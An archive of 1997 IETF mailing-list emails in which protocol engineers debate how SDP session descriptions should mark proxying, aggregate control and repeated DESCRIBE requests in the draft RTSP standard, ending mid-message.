	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id OAA03275
	for <confctrl@isi.edu>; Sun, 7 Sep 1997 14:54:34 -0700 (PDT)
Received: from robla.dev.prognet.com (mg-20425426-58.ricochet.net) by murrow.prognet.com with SMTP id AA02908
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Sun, 7 Sep 1997 14:54:32 -0700
Message-Id: <3.0.3.32.19970907145416.00f4f0c8@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Sun, 07 Sep 1997 14:54:16 -0700
To: confctrl@ISI.EDU
From: Rob Lanphier <robla@prognet.com>
Subject: SDP syntax with RTSP
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

One way to distinguish between client redirection and multi-server proxying
is to use the global "c=" when the server is volunteering to proxy requests
and to provide a cohesive session, and to use *only* media-level "c=" lines
when the client is to be redirected to destinations unknown.

For example, this is the syntax when all requests are being coordinated
through a proxy:

C->S: DESCRIBE rtsp://proxy.com/twister  RTSP/1.0 1

S->C: RTSP/1.0 200 1 OK
      Content-Type: application/sdp
      Content-Length: 164

      v=0
      o=- 2890844256 2890842807 IN IP4 172.16.2.93
      s=RTSP Session
      i=An Example of RTSP Session Usage
      c=IN URL rtsp://proxy.com/twister   # aggregate URL 
      t=0 0
      m=audio 0 RTP/AVP 0	
      c=IN URL rtsp://audio.server.com/twister/audio
      m=video 0 RTP/AVP 26
      c=IN URL rtsp://video.server.com/twister/video

...whereas this is what the interaction looks like with the client is
expected to go elsewhere to do SETUP/PLAY:

C->S: DESCRIBE rtsp://proxy.com/twister  RTSP/1.0 1

S->C: RTSP/1.0 200 1 OK
      Content-Type: application/sdp
      Content-Length: 164

      v=0
      o=- 2890844256 2890842807 IN IP4 172.16.2.93
      s=RTSP Session
      i=An Example of RTSP Session Usage
      t=0 0
      m=audio 0 RTP/AVP 0	
      c=IN URL rtsp://audio.server.com/twister/audio
      m=video 0 RTP/AVP 26
      c=IN URL rtsp://video.server.com/twister/video

This is very similar to what Anup first proposed in draft03, but seems to
have slipped through the cracks.  I think part of the problem with this
syntax is that it does go against the current notion that the media-level
connection fields are supposed to entirely override the session-level
connection field, if I'm reading SDP correctly.

Thoughts?
Rob


---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/help/firewall
For more information on RTSP:                     http://www.real.com/rtsp

From majordom@ISI.EDU  Sun Sep  7 18:55:53 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA08638>; Sun, 7 Sep 1997 19:54:53 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA08632>; Sun, 7 Sep 1997 19:54:51 -0700
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id TAA06863
	for <confctrl@ISI.EDU>; Sun, 7 Sep 1997 19:54:50 -0700 (PDT)
Received: from leonia (usr27-dialup20.mix2.Boston.mci.net [166.55.73.148]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id WAA25110; Sun, 7 Sep 1997 22:54:42 -0400 (EDT)
Message-Id: <34136939.721B7221@cs.columbia.edu>
Date: Sun, 07 Sep 1997 22:55:53 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Reply-To: hgs@cs.columbia.edu
Organization: Columbia University (home)
X-Mailer: Mozilla 4.01 [en] (Win95; I)
Mime-Version: 1.0
To: Rob Lanphier <robla@prognet.com>
Cc: confctrl@ISI.EDU
Subject: Re: SDP syntax with RTSP
X-Priority: 3 (Normal)
References: <3.0.3.32.19970907145416.00f4f0c8@mail.prognet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

What's wrong with having an explicit field for a proxy? Why are we
constraining ourselves to overloading and implicit semantics, given that
backwards compatibility is not an issue? I'm uncomfortable with
violating the 'override' rule just for RTSP URLs, since this override
may also be desirable in some circumstances. Purely from a manual
authoring perspective,

a=proxy:rtsp://proxy.com/twister

and then normal c= for the individual streams seems far more obvious to
the reader (and writer).

Regarding DESCRIBE and recursion thereof:

A suggested set of rules to limit recursion:

1) If an SDP description retrieved (typically by non-RTSP means)
contains just a global c= RTSP URL, issue a DESCRIBE request on that URL
to get more details.

2) If an SDP description retrieved via RTSP contains per-media stream
RTSP URLs, no DESCRIBE is necessary unless indicated by a parameter,
e.g., a:rtsp=DESCRIBE . If the c= RTSP URL is the same as that used to
get the description, the client should stop as well (to avoid
inadvertent looping when the description has an extraneous
a:rtsp=DESCRIBE).

3) One can debate whether certain media formats imply the need for a
DESCRIBE. If the client knows that encoding FOO needs parameters, it
might do a DESCRIBE for a stream without being told explicitly. This
doesn't seem necessary, as I would assume that in almost all cases,
these encodings have a default set of parameters, so that this may just
add additional work without increasing functionality.

Henning

From majordom@ISI.EDU  Sun Sep  7 13:52:23 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA09786>; Sun, 7 Sep 1997 20:53:07 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA09780>; Sun, 7 Sep 1997 20:53:05 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id UAA07469
	for <confctrl@ISI.EDU>; Sun, 7 Sep 1997 20:53:04 -0700 (PDT)
Received: from robla.dev.prognet.com (mg-20425426-58.ricochet.net) by murrow.prognet.com with SMTP id AA13283
  (5.67b/IDA-1.5 for <confctrl@ISI.EDU>); Sun, 7 Sep 1997 20:52:40 -0700
Message-Id: <3.0.3.32.19970907205223.011a7bb4@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Sun, 07 Sep 1997 20:52:23 -0700
To: hgs@cs.columbia.edu
From: Rob Lanphier <robla@prognet.com>
Subject: Re: SDP syntax with RTSP
Cc: confctrl@ISI.EDU
In-Reply-To: <34136939.721B7221@cs.columbia.edu>
References: <3.0.3.32.19970907145416.00f4f0c8@mail.prognet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Henning's proposal sounds very reasonable to me.  

To give examples of what he just said (correct me if I'm wrong), the
following is an example where a coordinating proxy will be used:

C->S: DESCRIBE rtsp://proxy.com/twister  RTSP/1.0 1

S->C: RTSP/1.0 200 1 OK
      Content-Type: application/sdp
      Content-Length: 164

      v=0
      o=- 2890844256 2890842807 IN IP4 172.16.2.93
      s=RTSP Session
      i=An Example of RTSP Session Usage
      a=proxy:rtsp://proxy.com/twister   
      t=0 0
      m=audio 0 RTP/AVP 0	
      c=IN URL rtsp://audio.server.com/twister/audio
      m=video 0 RTP/AVP 26
      c=IN URL rtsp://video.server.com/twister/video

...whereas this is what the interaction looks like with the client is
expected to go elsewhere to do SETUP/PLAY:

C->S: DESCRIBE rtsp://proxy.com/twister  RTSP/1.0 1

S->C: RTSP/1.0 200 1 OK
      Content-Type: application/sdp
      Content-Length: 164

      v=0
      o=- 2890844256 2890842807 IN IP4 172.16.2.93
      s=RTSP Session
      i=An Example of RTSP Session Usage
      t=0 0
      m=audio 0 RTP/AVP 0	
      c=IN URL rtsp://audio.server.com/twister/audio
      m=video 0 RTP/AVP 26
      c=IN URL rtsp://video.server.com/twister/video

In both cases above, the media initialization phase is complete (no more
DESCRIBEs necessary, though there are no rules against this).  A
description that would force another DESCRIBE to happen would be:

C->S: DESCRIBE rtsp://proxy.com/twister  RTSP/1.0 1

S->C: RTSP/1.0 200 1 OK
      Content-Type: application/sdp
      Content-Length: 164

      v=0
      o=- 2890844256 2890842807 IN IP4 172.16.2.93
      s=RTSP Session
      i=An Example of RTSP Session Usage
      t=0 0
      m=audio 0 RTP/AVP 0	
      c=IN URL rtsp://audio.server.com/twister/audio
      a=rtsp:DESCRIBE
      m=video 0 RTP/AVP 26
      c=IN URL rtsp://video.server.com/twister/video
      a=rtsp:DESCRIBE

This last example seems a bit awkward, but I think that's just syntax and
not conceptual.   Having a parameter named "rtsp" bugs me a bit, but I
don't have a better name just yet.

I think that that name is the least of our worries.  Are the first two
examples things that folks can live with?  If so, I'd like to ship out a
version of the draft this week with this solution in it.  If you object,
please do so before Wednesday.

One final note, which is preferrable?

a=aggregate:rtsp://proxy.com/twister   
..or..
a=proxy:rtsp://proxy.com/twister   

The former makes more sense when the URLs actually point to different
machines.  The latter makes more sense in the following example:

      v=0
      o=- 2890844256 2890842807 IN IP4 172.16.2.93
      s=RTSP Session
      i=An Example of RTSP Session Usage
      a=aggregate:rtsp://server.com/twister   
      t=0 0
      m=audio 0 RTP/AVP 0	
      c=IN URL rtsp://server.com/twister/audio
      m=video 0 RTP/AVP 26
      c=IN URL rtsp://server.com/twister/video

This gives us an unambiguous way of specifying the desire to do aggregate
control.

Rob

At 10:55 PM 9/7/97 -0400, Henning Schulzrinne wrote:
>What's wrong with having an explicit field for a proxy? Why are we
>constraining ourselves to overloading and implicit semantics, given that
>backwards compatibility is not an issue? I'm uncomfortable with
>violating the 'override' rule just for RTSP URLs, since this override
>may also be desirable in some circumstances. Purely from a manual
>authoring perspective,
>
>a=proxy:rtsp://proxy.com/twister
>
>and then normal c= for the individual streams seems far more obvious to
>the reader (and writer).
>
>Regarding DESCRIBE and recursion thereof:
>
>A suggested set of rules to limit recursion:
>
>1) If an SDP description retrieved (typically by non-RTSP means)
>contains just a global c= RTSP URL, issue a DESCRIBE request on that URL
>to get more details.
>
>2) If an SDP description retrieved via RTSP contains per-media stream
>RTSP URLs, no DESCRIBE is necessary unless indicated by a parameter,
>e.g., a:rtsp=DESCRIBE . If the c= RTSP URL is the same as that used to
>get the description, the client should stop as well (to avoid
>inadvertent looping when the description has an extraneous
>a:rtsp=DESCRIBE).
>
>3) One can debate whether certain media formats imply the need for a
>DESCRIBE. If the client knows that encoding FOO needs parameters, it
>might do a DESCRIBE for a stream without being told explicitly. This
>doesn't seem necessary, as I would assume that in almost all cases,
>these encodings have a default set of parameters, so that this may just
>add additional work without increasing functionality.
>
>Henning
>
>
---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/help/firewall
For more information on RTSP:                     http://www.real.com/rtsp

From majordom@ISI.EDU  Sun Sep  7 16:04:02 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA12268>; Sun, 7 Sep 1997 23:04:23 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA12255>; Sun, 7 Sep 1997 23:04:21 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id XAA09260
	for <confctrl@isi.edu>; Sun, 7 Sep 1997 23:04:20 -0700 (PDT)
Received: from robla.dev.prognet.com (mg-20425426-58.ricochet.net) by murrow.prognet.com with SMTP id AA17382
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Sun, 7 Sep 1997 23:04:20 -0700
Message-Id: <3.0.3.32.19970907230402.00df57a8@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Sun, 07 Sep 1997 23:04:02 -0700
To: confctrl@ISI.EDU
From: Rob Lanphier <robla@prognet.com>
Subject: Open Issues for draft04
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I'd like to set a deadline of Wednesday for the issues that we've been
discussing since Munich, so that we can get a draft out by the end of the
week.  Here's the list of issues:

      1. Review Changes of the Draft 
         a. Transport-Info field 

Open.  To be closed by Wednesday.

RL: Needs to occur in the PLAY response field.  This is the only way in
which we can be assured that the client can know whether the initial packet
was lost.  The PAUSE response doesn't buy us that.

         b & e. 1-1-n & Use of SDP within RTSP
Open (though moving toward closure).  To be closed by Wednesday.

RL:  See the latest email on this issue.  I think we have a solution we can
agree to, with minor adjustments.

         c. PEP-Protocol Extention Protocol 

Closed.  We will bring back the "Require:" field from draft02 for basic
options negotiation.

         d. ANNOUNCE method 

Closed.  It's in to stay.

         f. Sequence number moved to the header fields 

Open.  Henning and Philipp feel pretty strongly that this should be moved.
Folks at PN aren't all too thrilled with the prospect of this.  Let's flip
a coin and be done with this one :)  

         g. Port number spec 

Closed, with caveat.  

RL: Henning's recent proposal looks fine for the most part.  I would like
to add the ability to explicitly give a two-port range rather than assume
that because one port is reserved, that port+1 is reserved (in other words,
don't break the current RTP/RTCP assumptions, but don't assume).

      2. New Business 
         a. Allow change of Transport 

Closed.  No.

         b. Release Scheudule 

We're slipping.... Let's pull this in this week.

         c. Interoperability test gathering 

October 16-17 are tenative dates.  Expect more mail later this week.

         d. Documentation issues

I never composed a mail on this, so it was never discussed.  However, these
issues were resolved.  We now have a section for minimal complience and a
section for SDP usage in the current doc.
 
Rob


---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/help/firewall
For more information on RTSP:                     http://www.real.com/rtsp


---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/help/firewall
For more information on RTSP:                     http://www.real.com/rtsp

From majordom@ISI.EDU  Sun Sep  7 16:30:34 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA12611>; Sun, 7 Sep 1997 23:27:31 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA12605>; Sun, 7 Sep 1997 23:27:30 -0700
Received: from hydra.precept.com (hydra.precept.com [204.162.119.8])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA09621
	for <confctrl@ISI.EDU>; Sun, 7 Sep 1997 23:27:29 -0700 (PDT)
Received: from revelstoke.precept.com (port7.precept.com [204.162.119.57])
	by hydra.precept.com (8.8.6/8.8.6) with SMTP id XAA04310;
	Sun, 7 Sep 1997 23:26:24 -0700 (PDT)
Date: Sun, 7 Sep 1997 23:30:34 -0700 (PDT)
From: Stephen Casner <casner@precept.com>
To: Rob Lanphier <robla@prognet.com>
Cc: hgs@cs.columbia.edu, confctrl@ISI.EDU
Subject: Re: SDP syntax with RTSP
In-Reply-To: <3.0.3.32.19970907205223.011a7bb4@mail.prognet.com>
Message-Id: <Pine.PCW.3.95.970907231343.8846A-100000@revelstoke.precept.com>
X-X-Sender: casner@little-bear.precept.com
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

> Henning's proposal sounds very reasonable to me.  

Whoa, I don't think any of this extra mechanism is needed.  After all,
we're talking about an atypical situation.

If redirection is not allowed in the DESCRIBE, then you don't need the
proxy attribute because it is implicit that the opaque URLs get sent
to the same place whence the DESCRIBE came.  If redirection is allowed
and the host that sent the DESCRIBE is the one that is going to
provide control, then the URLs should start with its hostname.  The
remainder of the URL tells where the data comes from, in any format
that is legal and meaningful to the proxy.  The client doesn't need to
know that proxying is going on, and should not be required to take any
other special action.  (I think I've been making this argument
before in a slightly differnt context.)

I don't see that the a=rtsp:DESCRIBE is needed, either.  When you
start an interaction with an RTSP server, you do a DESCRIBE.  If that
session description redirects you to another RTSP server (assuming
we've made that choice), then you do another DESCRIBE on that new RTSP
session.  If it doesn't, you don't.

To guard against looping, you'd either need to look for passing
through the same node twice, or establish a maximum count, just as in
other indirection schemes.
							-- Steve


From majordom@ISI.EDU  Mon Sep  8 06:15:00 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA19636>; Mon, 8 Sep 1997 07:17:24 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA19630>; Mon, 8 Sep 1997 07:17:23 -0700
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA15495
	for <confctrl@ISI.EDU>; Mon, 8 Sep 1997 07:17:22 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id KAA09573; Mon, 8 Sep 1997 10:15:00 -0400
From: Mark Handley <mjh@east.isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Rob Lanphier <robla@prognet.com>
Cc: confctrl@ISI.EDU
Subject: Re: SDP syntax with RTSP 
In-Reply-To: Your message of "Sun, 07 Sep 1997 14:54:16 PDT."
             <3.0.3.32.19970907145416.00f4f0c8@mail.prognet.com> 
Date: Mon, 08 Sep 1997 10:15:00 -0400
Message-Id: <9571.873728100@north.lcs.mit.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>One way to distinguish between client redirection and multi-server proxying
>is to use the global "c=" when the server is volunteering to proxy requests
>and to provide a cohesive session, and to use *only* media-level "c=" lines
>when the client is to be redirected to destinations unknown.

I really don't like this idea - I don't think this is in the spirit of
the SDP semantics or the letter of them.

Mark

From majordom@ISI.EDU  Mon Sep  8 01:09:05 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA21536>; Mon, 8 Sep 1997 08:10:03 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA21530>; Mon, 8 Sep 1997 08:10:02 -0700
Received: from mailhost.nttlabs.com (ns.nttlabs.com [204.162.36.254])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA16424
	for <confctrl@ISI.EDU>; Mon, 8 Sep 1997 08:10:01 -0700 (PDT)
Received: from coltrane.nttlabs.com by mailhost.nttlabs.com (8.8.4+2.7Wbeta4/3.5Wpl2(97/01/23))
	id IAA12354; Mon, 8 Sep 1997 08:09:30 -0700 (PDT)
Message-Id: <199709081509.IAA12354@mailhost.nttlabs.com>
To: Rob Lanphier <robla@prognet.com>
Cc: confctrl@ISI.EDU
Subject: Re: SDP syntax with RTSP 
Reply-To: sumisu@nttlabs.com (Jeffrey D. Smith)
In-Reply-To: Your message of "Sun, 07 Sep 1997 14:54:16 PDT"
References: <3.0.3.32.19970907145416.00f4f0c8@mail.prognet.com> 
Date: Mon, 08 Sep 1997 08:09:05 -0700
From: Jeff Smith <sumisu@nttlabs.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

My biggest problem with this (as I said in Munich) is the concern for
how you use the resulting SDP for an invitation (SIP).

Something has to keep the mapping of c=URL_stuff and
c=ip_address_stuff so that you can invite other entities.

This would of course be easier if SDP seperated media from transport,
but that's a done deal for now... we work with what we have.

|One way to distinguish between client redirection and multi-server proxying
|is to use the global "c=" when the server is volunteering to proxy requests
|and to provide a cohesive session, and to use *only* media-level "c=" lines
|when the client is to be redirected to destinations unknown.
|
|For example, this is the syntax when all requests are being coordinated
|through a proxy:
|
|C->S: DESCRIBE rtsp://proxy.com/twister  RTSP/1.0 1
|
|S->C: RTSP/1.0 200 1 OK
|      Content-Type: application/sdp
|      Content-Length: 164
|
|      v=0
|      o=- 2890844256 2890842807 IN IP4 172.16.2.93
|      s=RTSP Session
|      i=An Example of RTSP Session Usage
|      c=IN URL rtsp://proxy.com/twister   # aggregate URL 
|      t=0 0
|      m=audio 0 RTP/AVP 0	
|      c=IN URL rtsp://audio.server.com/twister/audio
|      m=video 0 RTP/AVP 26
|      c=IN URL rtsp://video.server.com/twister/video
|
|...whereas this is what the interaction looks like with the client is
|expected to go elsewhere to do SETUP/PLAY:
|
|C->S: DESCRIBE rtsp://proxy.com/twister  RTSP/1.0 1
|
|S->C: RTSP/1.0 200 1 OK
|      Content-Type: application/sdp
|      Content-Length: 164
|
|      v=0
|      o=- 2890844256 2890842807 IN IP4 172.16.2.93
|      s=RTSP Session
|      i=An Example of RTSP Session Usage
|      t=0 0
|      m=audio 0 RTP/AVP 0	
|      c=IN URL rtsp://audio.server.com/twister/audio
|      m=video 0 RTP/AVP 26
|      c=IN URL rtsp://video.server.com/twister/video
|
|This is very similar to what Anup first proposed in draft03, but seems to
|have slipped through the cracks.  I think part of the problem with this
|syntax is that it does go against the current notion that the media-level
|connection fields are supposed to entirely override the session-level
|connection field, if I'm reading SDP correctly.
|
|Thoughts?
|Rob
|

From majordom@ISI.EDU  Mon Sep  8 01:08:41 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA21489>; Mon, 8 Sep 1997 08:09:40 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA21483>; Mon, 8 Sep 1997 08:09:39 -0700
Received: from mailhost.nttlabs.com (ns.nttlabs.com [204.162.36.254])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA16402
	for <confctrl@ISI.EDU>; Mon, 8 Sep 1997 08:09:38 -0700 (PDT)
Received: from coltrane.nttlabs.com by mailhost.nttlabs.com (8.8.4+2.7Wbeta4/3.5Wpl2(97/01/23))
	id IAA12346; Mon, 8 Sep 1997 08:09:06 -0700 (PDT)
Message-Id: <199709081509.IAA12346@mailhost.nttlabs.com>
To: Rob Lanphier <robla@prognet.com>
Cc: confctrl@ISI.EDU
Subject: Re: SDP syntax with RTSP 
Reply-To: sumisu@nttlabs.com (Jeffrey D. Smith)
In-Reply-To: Your message of "Sun, 07 Sep 1997 14:54:16 PDT"
References: <3.0.3.32.19970907145416.00f4f0c8@mail.prognet.com> 
Date: Mon, 08 Sep 1997 08:08:41 -0700
From: Jeff Smith <sumisu@nttlabs.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

My biggest problem with this (as I said in Munich) is the concern for
how you use the resulting SDP for an invitation (SIP).

Something has to keep the mapping of c=URL_stuff and
c=ip_address_stuff so that you can invite other entities.

This would of course be easier if SDP seperated media from transport,
but that's a done deal for now... we work with what we have.

js


From majordom@ISI.EDU  Mon Sep  8 01:13:29 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA21796>; Mon, 8 Sep 1997 08:14:35 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA21790>; Mon, 8 Sep 1997 08:14:34 -0700
Received: from mailhost.nttlabs.com (ns.nttlabs.com [204.162.36.254])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA16551
	for <confctrl@ISI.EDU>; Mon, 8 Sep 1997 08:14:34 -0700 (PDT)
Received: from coltrane.nttlabs.com by mailhost.nttlabs.com (8.8.4+2.7Wbeta4/3.5Wpl2(97/01/23))
	id IAA12382; Mon, 8 Sep 1997 08:13:56 -0700 (PDT)
Message-Id: <199709081513.IAA12382@mailhost.nttlabs.com>
To: Stephen Casner <casner@precept.com>
Cc: Rob Lanphier <robla@prognet.com>, hgs@cs.columbia.edu, confctrl@ISI.EDU
Subject: Re: SDP syntax with RTSP 
Reply-To: sumisu@nttlabs.com (Jeffrey D. Smith)
In-Reply-To: Your message of "Sun, 07 Sep 1997 23:30:34 PDT"
References: <Pine.PCW.3.95.970907231343.8846A-100000@revelstoke.precept.com> 
Date: Mon, 08 Sep 1997 08:13:29 -0700
From: Jeff Smith <sumisu@nttlabs.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Yes.

|> Henning's proposal sounds very reasonable to me.  
|
|Whoa, I don't think any of this extra mechanism is needed.  After all,
|we're talking about an atypical situation.
|
|If redirection is not allowed in the DESCRIBE, then you don't need the
|proxy attribute because it is implicit that the opaque URLs get sent
|to the same place whence the DESCRIBE came.  If redirection is allowed
|and the host that sent the DESCRIBE is the one that is going to
|provide control, then the URLs should start with its hostname.  The
|remainder of the URL tells where the data comes from, in any format
|that is legal and meaningful to the proxy.  The client doesn't need to
|know that proxying is going on, and should not be required to take any
|other special action.  (I think I've been making this argument
|before in a slightly differnt context.)
|
|I don't see that the a=rtsp:DESCRIBE is needed, either.  When you
|start an interaction with an RTSP server, you do a DESCRIBE.  If that
|session description redirects you to another RTSP server (assuming
|we've made that choice), then you do another DESCRIBE on that new RTSP
|session.  If it doesn't, you don't.
|
|To guard against looping, you'd either need to look for passing
|through the same node twice, or establish a maximum count, just as in
|other indirection schemes.
|							-- Steve
|
|


From majordom@ISI.EDU  Mon Sep  8 07:19:24 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA22022>; Mon, 8 Sep 1997 08:20:35 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA22016>; Mon, 8 Sep 1997 08:20:34 -0700
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA16757
	for <confctrl@ISI.EDU>; Mon, 8 Sep 1997 08:20:31 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id LAA07637; Mon, 8 Sep 1997 11:20:27 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id LAA16783; Mon, 8 Sep 1997 11:20:26 -0400 (EDT)
Message-Id: <3414177C.66F1C05@cs.columbia.edu>
Date: Mon, 08 Sep 1997 11:19:24 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.02 [en] (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Stephen Casner <casner@precept.com>
Cc: Rob Lanphier <robla@prognet.com>, confctrl@ISI.EDU
Subject: Re: SDP syntax with RTSP
References: <Pine.PCW.3.95.970907231343.8846A-100000@revelstoke.precept.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Stephen Casner wrote:
> 
> > Henning's proposal sounds very reasonable to me.
> 

> 
> I don't see that the a=rtsp:DESCRIBE is needed, either.  When you
> start an interaction with an RTSP server, you do a DESCRIBE.  If that
> session description redirects you to another RTSP server (assuming
> we've made that choice), then you do another DESCRIBE on that new RTSP
> session.  If it doesn't, you don't.

The base assumption always was that DESCRIBE is optional and that the
default mode is that you don't need it. In many cases, it is completely
superfluous (e.g., you get an SDP description of a session completely
described in SDP via HTTP). In many cases, the description returned by
HTTP and DESCRIBE will be exactly the same file in any event, residing
on the same shared file system. Requiring a DESCRIBE just adds latency,
server and client processing to the process.

> 
> To guard against looping, you'd either need to look for passing
> through the same node twice, or establish a maximum count, just as in
> other indirection schemes.

I spec'ed the first option; the second is probably a good back-up for
loops of length > 1.

>                                                         -- Steve

-- 
Henning Schulzrinne        email: schulzrinne@cs.columbia.edu
Dept. of Computer Science  phone: +1 212 939-7042 (@Bell Labs: 908 949
8344)
Columbia University        fax:   +1 212 666-0140
New York, NY 10027         URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Mon Sep  8 07:39:19 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA23032>; Mon, 8 Sep 1997 08:39:24 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA23026>; Mon, 8 Sep 1997 08:39:23 -0700
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA17280
	for <confctrl@ISI.EDU>; Mon, 8 Sep 1997 08:39:21 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id LAA08676; Mon, 8 Sep 1997 11:39:20 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id LAA16819; Mon, 8 Sep 1997 11:39:19 -0400 (EDT)
Message-Id: <34141C27.F1501234@cs.columbia.edu>
Date: Mon, 08 Sep 1997 11:39:19 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.02 [en] (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Rob Lanphier <robla@prognet.com>
Cc: confctrl@ISI.EDU
Subject: Re: Open Issues for draft04
References: <3.0.3.32.19970907230402.00df57a8@mail.prognet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Rob Lanphier wrote:
> 

> 
> RL: Needs to occur in the PLAY response field.  This is the only way in
> which we can be assured that the client can know whether the initial packet
> was lost.  The PAUSE response doesn't buy us that.

This is only an issue in the very first PLAY. Thus, since the PAUSE
response will arrive earlier, I'd suggest putting it in both. (After a
PAUSE, the server puts in the next seq. no to be played.)


>          g. Port number spec
> 
> Closed, with caveat.
> 
> RL: Henning's recent proposal looks fine for the most part.  I would like
> to add the ability to explicitly give a two-port range rather than assume
> that because one port is reserved, that port+1 is reserved (in other words,
> don't break the current RTP/RTCP assumptions, but don't assume).

Can't we defer this until a demonstrated need emerges? If we allow
breaking "port+1", this just means that either server/client does need
to handle the non-contiguous case or we have yet another error
condition. Given that nobody has (if my memory serves) put forth a
